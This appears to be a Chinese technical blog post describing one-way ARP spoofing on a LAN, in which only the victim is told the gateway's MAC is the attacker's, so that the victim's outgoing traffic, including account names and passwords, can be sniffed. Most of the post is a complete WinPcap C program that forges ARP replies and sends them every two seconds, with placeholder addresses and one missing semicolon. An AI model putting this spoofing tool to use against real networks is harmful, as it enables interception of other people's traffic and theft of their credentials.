再谈利用ARP欺骗实现嗅探

 
再谈利用ARP欺骗实现嗅探
设有主机A、B、C在同一个局域网中,且网关为G。A,C为要监听的主机,B为我们的机器。目前的大多数工具的实现是欺骗A和与A通信的主机C对方的MAC均为B,这样就可以监听它们的通信。但是实际上大多数情况下,我们感兴趣的是A与网关G的通信,而其中又尤其对A发出的一些信息感兴趣,譬如账号、密码,至于G又向A发送了什么数据,我们不太关心。
   那么在这种情况下,就没有必要欺骗网关G(告诉G,A的MAC为B)。只欺骗A主机,告诉它网关G的MAC为B。这样A,G之间的通信就成了这个样子:

A------->B------>G
A<----------------G

很明显,若A收发的数据相当,那么经过B的数据量几乎少了一半,当然也就节省了网络带宽和B主机的负担。

下面给出在xp+vc6.0平台且被欺骗主机也为xp时用WinPcap实现的代码(本机需开ip路由功能):

#include <stdlib.h>
#include <pcap.h>
#pragma comment(lib,"wpcap")

int main(int argc, char **argv)
{
     pcap_if_t * alldevs,
          * d;
    pcap_t *fp;
    char error[PCAP_ERRBUF_SIZE];
    u_char packet[60];
    int i=0,inum;

    /* Retrieve the device list */
    if (pcap_findalldevs(&alldevs, error) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s/n", error);
        exit(1);
    }

    /* Print the list */
    for(d=alldevs; d; d=d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)/n", d->description);
        else
            printf(" (No description available)/n");
    }
    
    if(i==0)
    {
        printf("/nNo interfaces found! Make sure WinPcap is installed./n");
        return -1;
    }
    
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
    
    if(inum < 1 || inum > i)
    {
        printf("/nInterface number out of range./n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    /* Jump to the selected adapter */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

    /* Open the output adapter */
    if((fp = pcap_open_live(d->name, 60, 1, 1000, error) ) == NULL)
    {
        fprintf(stderr,"/nError opening adapter: %s/n", error);
        return -1;
    }
    
    pcap_freealldevs(alldevs);
    
    /* mac of target you want to spoof */
    packet[0]=0x00;
    packet[1]=0x00;
    packet[2]=0x00;
    packet[3]=0x00;
    packet[4]=0x00;
    packet[5]=0x00;
    
    /* mac of your host */
    packet[6]=0x00;
    packet[7]=0x00;
    packet[8]=0x00;
    packet[9]=0x00;
    packet[10]=0x00;
    packet[11]=0x00;

    /* set the protocol type */
    packet[12]=8;
    packet[13]=6;

    /* set the hard and protocol type */
    packet[14]=0;
    packet[15]=1;
    packet[16]=8;
    packet[17]=0;

    /* set the length */
    packet[18]=6;
    packet[19]=4;    

    /* set the operation type */
    packet[20]=0;
    packet[21]=2;
    
    /* mac of your host */
    packet[22]=0x00;
    packet[23]=0x00;
    packet[24]=0x00;
    packet[25]=0x00;
    packet[26]=0x00;
    packet[27]=0x00;
    
    /* ip of the gateway */
    packet[28]=0;
    packet[29]=0;
    packet[30]=0;
    packet[31]=0;

    /* mac of the target you want to spoof */
    packet[32]=0x00;
    packet[33]=0x00;
    packet[34]=0x00;
    packet[35]=0x00;
    packet[36]=0x00;
    packet[37]=0x00;
    
    /* ip of the target you want to spoof */
    packet[38]=0
    packet[39]=0;
    packet[40]=0;
    packet[41]=0;

    /* Fill the rest of the packet */
    for(i=42;i<60;i++){
        packet[i]=0;
    
    }

    /* Send down the packet */
    while(1)
    {
        Sleep(2000);
        pcap_sendpacket(fp,packet,60);    
    }
    
    return 0;
}

附:
  对于怎样实现ARP欺骗,很可能不同的网络没有一定的法则可循。我用的是XPsp1专业版,对于arp reply若发送端不是网关则ip不更新arp缓存,而该程序正好是网关的ip。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值